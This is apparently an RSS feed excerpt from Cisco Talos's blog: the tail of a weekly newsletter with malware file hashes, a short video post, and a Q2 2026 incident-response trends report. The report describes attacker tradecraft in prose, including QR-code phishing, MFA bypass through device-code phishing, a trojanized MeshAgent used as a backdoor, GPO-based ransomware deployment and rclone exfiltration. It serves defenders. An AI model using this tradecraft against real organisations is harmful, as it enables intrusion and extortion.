trail, crushing your toes in the front of your hiking boots? Yike.&#xA0;</p><p>It may sound like I&#x2019;m complaining a lot about this hike, but it was genuinely the most fun one that I&#x2019;ve done to date. By the time I was freshly showered and drinking an iced coffee in Culpeper, I was gushing about when we&#x2019;d go back.&#xA0;</p><p>There&#x2019;s a really good tie-in to cybersecurity somewhere here. Ah, got it.&#xA0;</p><p>Everyone has had those uphill hike phases with the endless documentation, patching, and alerts that keep you up at night. You&#x2019;re waiting for the misery to end and hoping that around the next corner, you&#x2019;ll see a sign that you&#x2019;re almost out of the woods. Bruised and out of breath, you finally arrive at the exciting parts: a complex project that finally comes together, the thrill of stopping an attack, or a feeling of pride when someone you&apos;re mentoring gets a new certification. Maybe the payoff is something completely unexpected.</p><p>Those moments definitely don&#x2019;t erase the exhaustion &#x2014; you&apos;re still sore and bruised, and will be for days &#x2014; but they&#xA0;<em>do&#xA0;</em>remind you why you started in the first place.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Talos released our <a href="https://blog.talosintelligence.com/ir-trends-q2-2026/" rel="noreferrer noopener"><u>Q2 2026 Incident Response Trends report</u></a>, which showed a massive spike in authentication abuse and sophisticated phishing tactics. Phishing drove over half of all engagements, with attackers leveraging QR codes and advanced platforms like ARToken to bypass multi-factor authentication (MFA). Additionally, ransomware operators are increasingly weaponizing legitimate remote management tools like MeshAgent and Zoho Assist to establish stealthy, persistent access.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Standard email gateways and basic MFA are no longer enough to stop adversaries from bypassing traditional defenses. By abusing legitimate administrative tools and trusted cloud infrastructure, threat actors can easily blend malicious traffic with normal network activity to remain undetected before deploying ransomware. Furthermore, the continued targeting of health care and public administration highlights a deliberate focus on organizations with zero tolerance for downtime.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Organizations must transition from push- and SMS-based MFA to phishing-resistant methods like FIDO2 or hardware security keys. Defenders should also shift to behavior-based monitoring, specifically hunting for unauthorized instances of administrative tools. Finally, configure centralized logging with at least 90 days of retention, enforce strict outbound email thresholds, and prioritize patching internet-exposed infrastructure. &#xA0;</p><p><a href="https://blog.talosintelligence.com/ir-trends-q2-2026/" rel="noreferrer noopener"><u>Read the full report</u></a> for a deeper dive into this quarter&apos;s trends and observed MITRE ATT&amp;CK techniques.&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>Authorities investigating a coordinated cyber attack against Minnesota water systems</strong>&#xA0;<br>Federal and state authorities are investigating what they call a&#xA0;coordinated cyberattack over two days against operational technology&#xA0;at more than 30 community water systems in Minnesota.&#xA0;(<a href="https://www.cybersecuritydive.com/news/authorities-investigating-a-coordinated-cyberattack-against-minnesota-water/826427/" rel="noreferrer noopener"><u>Cybersecurity Dive</u></a>)&#xA0;</p><p><strong>Hacked public Wi-Fi gateways used to harvest corporate credentials</strong>&#xA0;<br>As part of the attacks, the hackers modified the DNS configurations of the compromised small office/home office (SOHO) routers to redirect users to attacker-controlled infrastructure for credential theft. (<a href="https://www.securityweek.com/hacked-public-wi-fi-gateways-used-to-harvest-corporate-credentials/" rel="noreferrer noopener"><u>SecurityWeek</u></a>)&#xA0;</p><p><strong>Default Azure Automation setting enables cross-tenant identity takeover</strong>&#xA0;<br>Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation that could have let attackers seize another tenant&apos;s identity and access others&apos; data, credentials, and cloud workloads. (<a href="https://www.darkreading.com/cloud-security/default-azure-automation-setting-cross-tenant-identity-takeover" rel="noreferrer noopener"><u>DarkReading</u></a>)&#xA0;</p><p><strong>Public proof-of-concept released for exploited Check Point SmartConsole authentication bypass</strong>&#xA0;<br>The vulnerability is an authentication bypass in the SmartConsole login process that allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. (<a href="https://thehackernews.com/2026/07/rapid7-releases-poc-for-exploited-check.html" rel="noreferrer noopener"><u>The Hacker News</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h2><p><a href="https://youtu.be/BAXy9AeYcbM" rel="noreferrer noopener"><strong><u>The TTP: Built for IT. Used by attackers</u></strong></a>&#xA0;<br>In this episode of The Talos Threat Perspective, Hazel, Craig and Joe explore how attackers are abusing legitimate Remote Monitoring and Management software, trusted services and compromised identities to evade detection. Based on trends revealed in the latest Talos Incident Response Quarterly Trends report, the discussion covers ransomware groups using remote tools to maintain access, phishing platforms that have evolved into complete attack ecosystems, and an ongoing QR code phishing campaign targeting Microsoft 365 accounts.</p><p><a href="https://www.buzzsprout.com/2018149/episodes/19557796" rel="noreferrer"><strong><u>Talos Takes: Q2 Talos IR Trends: Phishing and authentication abuse</u></strong></a><br>In this episode, Amy and analyst Lexi DiScola unpack the trends Talos IR saw on the frontlines in Q2 2026. From creative phishing lures that slip past email gateways to the weaponization of legitimate remote management tools, we explore why traditional defenses are falling short and the practical things you can do to reclaim the advantage.&#xA0;</p><p><a href="https://blog.talosintelligence.com/preview-cisco-talos-at-black-hat-usa-2026/" rel="noreferrer noopener"><strong><u>Preview: Cisco Talos at Black Hat USA 2026</u></strong></a>&#xA0;<br>We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence. Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That&#x2019;s fine, too.&#xA0;</p><p><a href="https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/" rel="noreferrer noopener"><strong><u>Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel</u></strong></a>&#xA0;<br>The Chaos ransomware group uses new malware &quot;msaRAT&quot; that hijacks browsers. The malware doesn&apos;t communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker&apos;s IP from victims via WebRTC over TURN.&#xA0;</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://blackhat.com/us-26/" rel="noreferrer noopener"><u>Black Hat USA</u></a> (Aug. 1 &#x2013; 6) Las Vegas, NV&#xA0;</li><li><a href="https://defcon.org/html/defcon-34/dc-34-index.html" rel="noreferrer noopener"><u>DEF CON 34</u></a> (Aug. 6 &#x2013; 9) Las Vegas, NV&#xA0;</li><li><a href="https://conf.splunk.com/" rel="noreferrer noopener"><u>.conf26</u></a> (Sept. 14 &#x2013; 17) Denver, CO&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 </strong>&#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a>&#xA0;<br>Example Filename: VID001.exe&#xA0;<br>Detection Name: Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</strong>&#xA0;<br>MD5: 7bdbd180c081fa63ca94f9c22c457376 &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</u></a>&#xA0;<br>Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe&#xA0;<br>Detection Name: Win.Dropper.Miner::95.sbx.tg**&#xA0;</p><p><strong>SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</strong>&#xA0;<br>MD5: 38de5b216c33833af710e88f7f64fc98&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</u></a>&#xA0;<br>Example Filename: SECOH-QAD.exe&#xA0;<br>Detection Name: Win.Tool.Procpatcher::1201&#xA0;</p><p><strong>SHA256: fc18d4060c6dad3057c0b5a70a2081473e066951720cafbd2aa159d3aaccf2e1</strong>&#xA0;<br>MD5: ded73d04bb3e3525226de64c38a332e3&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=fc18d4060c6dad3057c0b5a70a2081473e066951720cafbd2aa159d3aaccf2e1" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=fc18d4060c6dad3057c0b5a70a2081473e066951720cafbd2aa159d3aaccf2e1</u></a>&#xA0;<br>Example Filename: f_000177.exe&#xA0;<br>Detection Name: W32.Trojan.29jq.1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</strong>&#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a>&#xA0;<br>Example Filename:tmp00055df5.dll&#xA0;<br>Detection Name: Auto.90B145.282358.in02&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Black Hat special: Rewind and revisit]]></title><description><![CDATA[Amy looks back at the incredible journeys that brought past guests to the world of threat intelligence.]]></description><link>https://blog.talosintelligence.com/black-hat-special-rewind-and-revisit/</link><guid isPermaLink="false">6a63b297e024b60001667c44</guid><category><![CDATA[Humans of Talos]]></category><dc:creator><![CDATA[Amy Ciminnisi]]></dc:creator><pubDate>Thu, 30 Jul 2026 10:00:08 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/humans_of_talos.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/humans_of_talos.jpg" alt="Black Hat special: Rewind and revisit"><p>Cybersecurity is rarely a straight line. In this special Black Hat edition of Humans of Talos, Amy looks back at the incredible journeys that brought past guests to the world of threat intelligence. From forensic labs and newsrooms to the kitchen line, we&#x2019;re revisiting the stories and lessons that define the people behind the threat intelligence.</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/kKIO48vNeoY?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="Black Hat special: Rewind and revisit"></iframe></figure><p>Heading to Black Hat? We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research and incident response, and grab the newest Snorty. Check out our schedule <a href="https://blog.talosintelligence.com/preview-cisco-talos-at-black-hat-usa-2026/" rel="noreferrer">here</a>.</p><p>Want more episodes? Watch the <a href="https://youtu.be/kKIO48vNeoY" rel="noreferrer">full episode</a>, and don&#x2019;t forget to subscribe to our YouTube channel for the next Humans of Talos.</p>]]></content:encoded></item><item><title><![CDATA[IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains]]></title><description><![CDATA[Talos IR's Q2 report highlights a significant surge in phishing-based initial access and the weaponization of legitimate remote management tools. Learn how to sharpen your defenses.]]></description><link>https://blog.talosintelligence.com/ir-trends-q2-2026/</link><guid isPermaLink="false">6a63b450e024b60001667c4f</guid><category><![CDATA[Talos IR trends]]></category><category><![CDATA[CTIR trends]]></category><category><![CDATA[Cisco Talos Incident Response]]></category><dc:creator><![CDATA[Lexi DiScola]]></dc:creator><pubDate>Tue, 28 Jul 2026 10:00:01 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/TalosIR_quarterly_trends.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/TalosIR_quarterly_trends.jpg" alt="IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains"><p>Phishing was the primary means of gaining initial access this quarter, appearing in over half of all Cisco Talos Incident Response (Talos IR) engagements &#x2013; an increase from approximately a third of engagements last quarter. Attackers continued to innovate their delivery methods to evade defenses, deploying QR code-embedded PDFs to bypass traditional email gateways and hosting links on trusted cloud platforms. We also saw a spike in authentication abuse this quarter &#x2014; observed in 65 percent of engagements compared to 35 percent last quarter &#x2014; with attackers frequently bypassing or defeating multi-factor authentication (MFA) using adversary-in-the-middle (AitM) proxies, session-token theft, MFA fatigue attacks, and self-enrolled devices, amongst other methods.&#xA0;&#xA0;</p><p>Ransomware incidents made up over 20 percent of engagements this quarter, similar to just under 20 percent last quarter. Talos IR responded to Sinobi ransomware for the first time, as well as previously seen variants Nitrogen and Warlock. We observed ransomware operators leveraging legitimate&#xA0;remote monitoring and management (RMM)&#xA0;tools, such as trojanized MeshAgent binary and Zoho Assist, for stealthy access, requiring defenders to prioritize behavior-based monitoring and strict control over administrative binaries.</p><p>In the latest Talos Threat Perspective episode, we explore these trends, and highlight where defenders have the best opportunities to detect attackers:</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/BAXy9AeYcbM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="The TTP 24: Built for IT. Used by Attackers."></iframe></figure><h2 id="qr-phishing-campaign-leverages-trusted-infrastructure-to-target-australian-organizations">QR phishing campaign leverages trusted infrastructure to target Australian organizations&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;</h2><p>Starting in April, we observed a persistent QR code phishing campaign targeting primarily Australian organizations that leverages compromised Microsoft 365 accounts to harvest credentials and propagate the attack via internal contact lists. The campaign, which remained ongoing as of late June 2026, employs auto-generated, victim-tailored PDF documents containing QR codes that direct to adversary-controlled M365 credential harvesting pages. If credentials are successfully captured, the adversary attempts access to the victim&#x2019;s Microsoft account and conducts various post-compromise actions including creating email inbox rules for defense evasion, leveraging SharePoint to host malicious documents, and sending additional internal and external phishing emails to continue the compromise chain.&#xA0;</p><p>We assess with high confidence that the threat actor, who we have dubbed UAT-11764, will almost certainly continue leveraging this QR code phishing operation, using each newly compromised mailbox&apos;s contact lists to expand its reach and sustain the campaign&apos;s momentum. By weaponizing existing, trusted infrastructure like SharePoint and M365, UAT-11764 can bypass many standard email security gateways. As such, network defenders should implement policies that block or flag emails containing QR codes within PDF attachments, enforce phishing-resistant MFA on M365 accounts, and monitor for suspicious inbox rule creation and anomalous SharePoint file staging as indicators of post-compromise activity.&#xA0;</p><h2 id="artoken-platform-provides-toolkit-for-microsoft-365-account-compromise">ARToken platform provides toolkit for Microsoft 365 account compromise&#xA0;</h2><p>Talos <a href="https://blog.talosintelligence.com/artoken-inside-an-eviltokens-affiliate-panel-targeting-microsoft-365/" rel="noreferrer noopener"><u>uncovered</u></a> a phishing-as-a-service (PhaaS) operator platform, ARToken, in an engagement this quarter that is closely linked to the EvilTokens platform. According to our analysis, the ARToken panel exposes 80+ API endpoints for device code phishing, primary refresh token (PRT) persistence, email access, business email compromise (BEC) operations, and SharePoint exfiltration &#x2014; all accessible to operators through a React-based dashboard. Our investigation into the platform found phishing lures that impersonate trusted vendors and abuse legitimate Microsoft services, allowing attackers to bypass MFA through the OAuth device authorization flow rather than stealing passwords.&#xA0;</p><p>ARToken extends beyond a typical phishing kit by providing affiliates with a comprehensive post-compromise toolkit. We observed capabilities including automated token management, persistent access through PRTs, OneDrive and SharePoint administration, geo-dynamic templates, inbox rule manipulation, cross-account keyword monitoring, and collaborative token sharing. We also identified advanced anti-analysis techniques, including layered evasion mechanisms and encrypted client-side payloads, highlighting the increasing sophistication of modern PhaaS platforms and reinforcing the need for organizations to monitor device code authentication, enforce Conditional Access policies, and strengthen defenses against token-based attacks.&#xA0;&#xA0;</p><h2 id="ransomware-trends">Ransomware trends&#xA0;</h2><p>Ransomware and pre-ransomware incidents made up over 20 percent of engagements this quarter, relatively similar to just under 20 percent last quarter. As previously mentioned, Talos IR responded to Sinobi ransomware for the first time, as well as previously seen variants Nitrogen and Warlock. We observed operators from these groups leveraging tools not previously identified in public reporting, including a trojanized MeshAgent binary and Zoho Assist for remote access.</p><h3 id="sinobi-ransomware-operators-weaponize-meshagent-for-covert-backdoor-access">Sinobi ransomware operators weaponize MeshAgent for covert backdoor access</h3><p>We responded to a Sinobi ransomware engagement for the first time in April; while this ransomware-as-a-service (RaaS) operation emerged nearly a year ago, there has been minimal public reporting on the actors&#x2019; operations.&#xA0;&#xA0;</p><p>Notably, we observed the threat actors use a trojanized MeshAgent binary as their primary C2 mechanism during this engagement, a tactic that has not been previously associated with the group in public reporting. MeshAgent is the open-source agent component of the MeshCentral remote management platform. Here, the actor weaponized it into a covert durable backdoor installed as a SYSTEM-level auto-start service, communicating over encrypted WebSocket (WSS) to an attacker-controlled server. This approach allowed the actor to blend malicious traffic with legitimate remote management activity and maintain undetected access for approximately three days before ransomware deployment.&#xA0;</p><p>Following C2 establishment, the actor moved laterally through the network using RDP and WinRM, leveraging a service account with a weak, easily cracked password obtained from the domain credential store, ntds.dit. The actor ultimately deployed the ransomware across the entire domain using a malicious Group Policy Object (GPO) logon script. The incident resulted in the encryption of systems with the .SINOBI file extension, alongside observed data exfiltration staging activity conducted via rclone.exe.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Q2dark_attackchaindark.jpg" class="kg-image" alt="IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains" loading="lazy" width="2000" height="1403" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Q2dark_attackchaindark.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Q2dark_attackchaindark.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Q2dark_attackchaindark.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Q2dark_attackchaindark.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p>Looking forward, Sinobi operators will likely continue weaponizing legitimate tools like MeshAgent because these binaries blend into standard administrative traffic and bypass many traditional signature-based alerts. The use of GPO-based deployment scripts suggests an understanding of enterprise architecture, and operators will likely continue to exploit centralized management features to ensure rapid, domain-wide encryption. Defenders should prioritize monitoring of administrative tools and implement strict application allowlisting to prevent unauthorized binaries from running as services. Further, proactive hunting for unauthorized MeshAgent instances and auditing service account permissions may help in identifying and disrupting Sinobi activity before encryption.&#xA0;</p><h3 id="warlock-actors-deploy-zoho-assist-to-attempt-remote-access-without-active-user-sessions">Warlock actors deploy Zoho Assist to attempt remote access without active user sessions</h3><p>In one engagement, we observed Warlock ransomware operators (also known as Storm-2603) deploying an installer for the RMM tool Zoho Assist Unattended Agent, which is designed to allow administrative remote control of an endpoint without a user logged in. The tool, which we have not previously seen attributed to Warlock, enables the attackers to maintain persistent, stealthy, and unrestricted control, significantly increasing the potential malicious impact of an incident.&#xA0;&#xA0;</p><p>While the activity in this particular did not lead to encryption, it was consistent with a successful Warlock ransomware attack Talos observed in May. To counter this threat, organizations must shift from signature-based detection to behavior-based monitoring, focusing on the specific tactics, techniques, and procedures (TTPs) utilized by Storm-2603, such as the abuse of legitimate administrative tools and rapid movement within the network.</p><h2 id="targeting">Targeting&#xA0;</h2><p>For the second quarter in a row, health care led as the most targeted industry vertical accounting for 17 percent of all engagements, with public administration and manufacturing following at 14 percent each. A shared characteristic of these top-targeted sectors is a critical lack of downtime tolerance. The vast majority of targeted health care organizations were entities that directly support clinical operations and/or diagnostic services, where service interruption can result in operational and patient-care consequences. Almost all targeted public administration organizations were local governments, which provide essential public services, while the targeted manufacturing entities represented high-value targets within the industrial supply chain, where potential disruptions could create cascading effects across the downstream technology and energy sectors.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Q2dark_Q4Targets-dark.jpg" class="kg-image" alt="IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains" loading="lazy" width="2000" height="1537" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Q2dark_Q4Targets-dark.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Q2dark_Q4Targets-dark.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Q2dark_Q4Targets-dark.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Q2dark_Q4Targets-dark.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="initial-access">Initial access&#xA0;</h2><p>As mentioned, phishing was the top means of gaining initial access this quarter, accounting for over half of engagements where initial access could be determined &#x2014; an increase from 35 percent last quarter. Many phishing engagements included MFA-bypass techniques, such as OAuth device-code phishing and AiTM frameworks, allowing adversaries to intercept session tokens. Other observed means of achieving initial access included exploitation of public-facing applications and drive-by compromise.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Q2dark_Q4SecurityWeakness-dark-06.jpg" class="kg-image" alt="IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains" loading="lazy" width="2000" height="758" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Q2dark_Q4SecurityWeakness-dark-06.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Q2dark_Q4SecurityWeakness-dark-06.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Q2dark_Q4SecurityWeakness-dark-06.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Q2dark_Q4SecurityWeakness-dark-06.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="recommendations-for-addressing-top-security-weaknesses">Recommendations for addressing top security weaknesses</h2><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Q2dark_Q4SecurityWeakness-dark-02.jpg" class="kg-image" alt="IR Trends Q2 2026: Phishing and weaponized remote management tools drive attack chains" loading="lazy" width="2000" height="758" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Q2dark_Q4SecurityWeakness-dark-02.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Q2dark_Q4SecurityWeakness-dark-02.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Q2dark_Q4SecurityWeakness-dark-02.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Q2dark_Q4SecurityWeakness-dark-02.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="implement-properly-configured-phishing-resistant-mfa-and-tighten-authentication-controls">Implement properly configured, phishing-resistant MFA and tighten authentication controls&#xA0;</h3><p>Authentication abuse was the most prevalent security weakness this quarter, observed in 65 percent of engagements &#x2014; up sharply from 35 percent last quarter. Adversaries consistently defeated or bypassed MFA using AitM proxies and session-token theft, MFA fatigue attacks, registration of attacker-controlled devices for authentication, and legacy authentication protocols that circumvent MFA altogether. To reduce this risk, Talos IR recommends transitioning from push- and SMS-based MFA to phishing-resistant methods such as FIDO2/WebAuthn and hardware security keys. Organizations should also restrict self-service MFA enrollment by requiring helpdesk verification, block legacy authentication through Conditional Access, enforce number matching or verified push where phishing-resistant methods are not yet feasible, and condition access on device compliance and trusted infrastructure rather than geographic location alone.&#xA0;&#xA0;&#xA0;</p><h3 id="configure-centralized-logging-with-adequate-retention-across-the-environment">Configure centralized logging with adequate retention across the environment&#xA0;</h3><p>Insufficient logging and visibility was the second most common weakness, observed in 42 percent of engagements compared to 18 percent last quarter. Deficiencies included domain controller security logs retained for only a few hours, host event logs truncated or overwritten before capture, absent NetFlow that prevented reconstruction of external authentication and exfiltration, on-device-only logs that adversaries deleted to evade detection, and short cloud-telemetry retention that did not extend back to the true initial-access date. In several engagements these gaps prevented definitive determination of the initial access vector or the scope of data exfiltration. Talos IR recommends implementing a SIEM or centralized logging platform with a minimum of 90 days of retention, forwarding logs from servers, workstations, network infrastructure, cloud identity providers, and security appliances off-device so they survive log tampering and host rebuilds, and enabling process-creation, command-line, and cloud API (e.g., Microsoft Graph) auditing. Talos IR&apos;s <a href="https://talosintelligence.com/incident_response/assessment" rel="noreferrer noopener"><u>Log Architecture Assessment</u></a> service can identify gaps and provide a roadmap to a complete view of the environment.&#xA0;</p><h3 id="conduct-robust-patch-management-and-reduce-exposed-infrastructure">Conduct robust patch management and reduce exposed infrastructure&#xA0;</h3><p>Vulnerable, exposed, or unpatched internet-facing infrastructure was the third most common weakness, observed in 31 percent of engagements, similar to last quarter&#x2019;s 25 percent.&#xA0; A variety of different vulnerabilities were targeted including ToolShell, an older Telerik UI deserialization flaw, and SD-WAN and perimeter-VPN appliance CVEs. Internet-exposed services were also subjected to SQL-injection and denial-of-service activity. Talos IR recommends identifying and prioritizing the patching or decommissioning of all end-of-life and externally exposed systems, isolating systems that cannot be immediately upgraded, restricting management plane and remote access services behind a VPN or trusted source, deploying a Web Application Firewall (WAF) with rules for known exploitation patterns, and establishing a vulnerability management process capable of rapidly identifying and patching exposed assets &#x2014; particularly given the accelerating reduction in time between vulnerability disclosure and exploitation.&#xA0;</p><h3 id="enforce-strict-outbound-email-thresholds-to-disrupt-attack-propagation">Enforce strict outbound email thresholds to disrupt attack propagation&#xA0;</h3><p>Finally, unlimited outbound email thresholds were a notable security weakness this quarter, enabling threat actors to propagate malicious activity in almost 15 percent of engagements. Though not as prevalent as the above weaknesses, it was more frequently observed than in previous quarters and warrants mention. For example, in one engagement, a user clicked on a malicious phishing email that led to credential theft and account compromise. Shortly after the threat actors gained access to the user&#x2019;s mailbox, they sent over 6,600 phishing and spam emails to continue the attack chain. The failure to contain the compromise via outbound rate limiting significantly amplifies the damage of a single compromised credential; implementing these controls is a low-effort, high-impact mitigation strategy that effectively disrupts the attack chain.&#xA0;</p><h2 id="top-observed-mitre-attck-techniques">Top-observed MITRE ATT&amp;CK techniques&#xA0;&#xA0;</h2><p>The table below represents the MITRE ATT&amp;CK techniques observed in this quarter&#x2019;s Talos IR engagement. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic in which they were leveraged. Please note this is not an exhaustive list.&#x202F;&#xA0;</p><p>Key findings from the MITRE ATT&amp;CK framework include:&#xA0;&#xA0;</p><ul><li>Consistent with phishing being a top threat this quarter, email hiding rules was the most observed tactic for persistence while internal spearphishing was most seen for lateral movement.&#xA0;</li><li>Use of valid accounts was frequently observed for both privilege escalation and persistence, highlighting how identity abuse remains a key theme across engagements.&#xA0;&#xA0;</li><li>Actors also relied on legitimate tools and web protocols to challenge detection, abusing native email features and cloud APIs, relying on standard web protocols for C2, and using valid administrative credentials for RDP and SSH.</li></ul>
<!--kg-card-begin: html-->
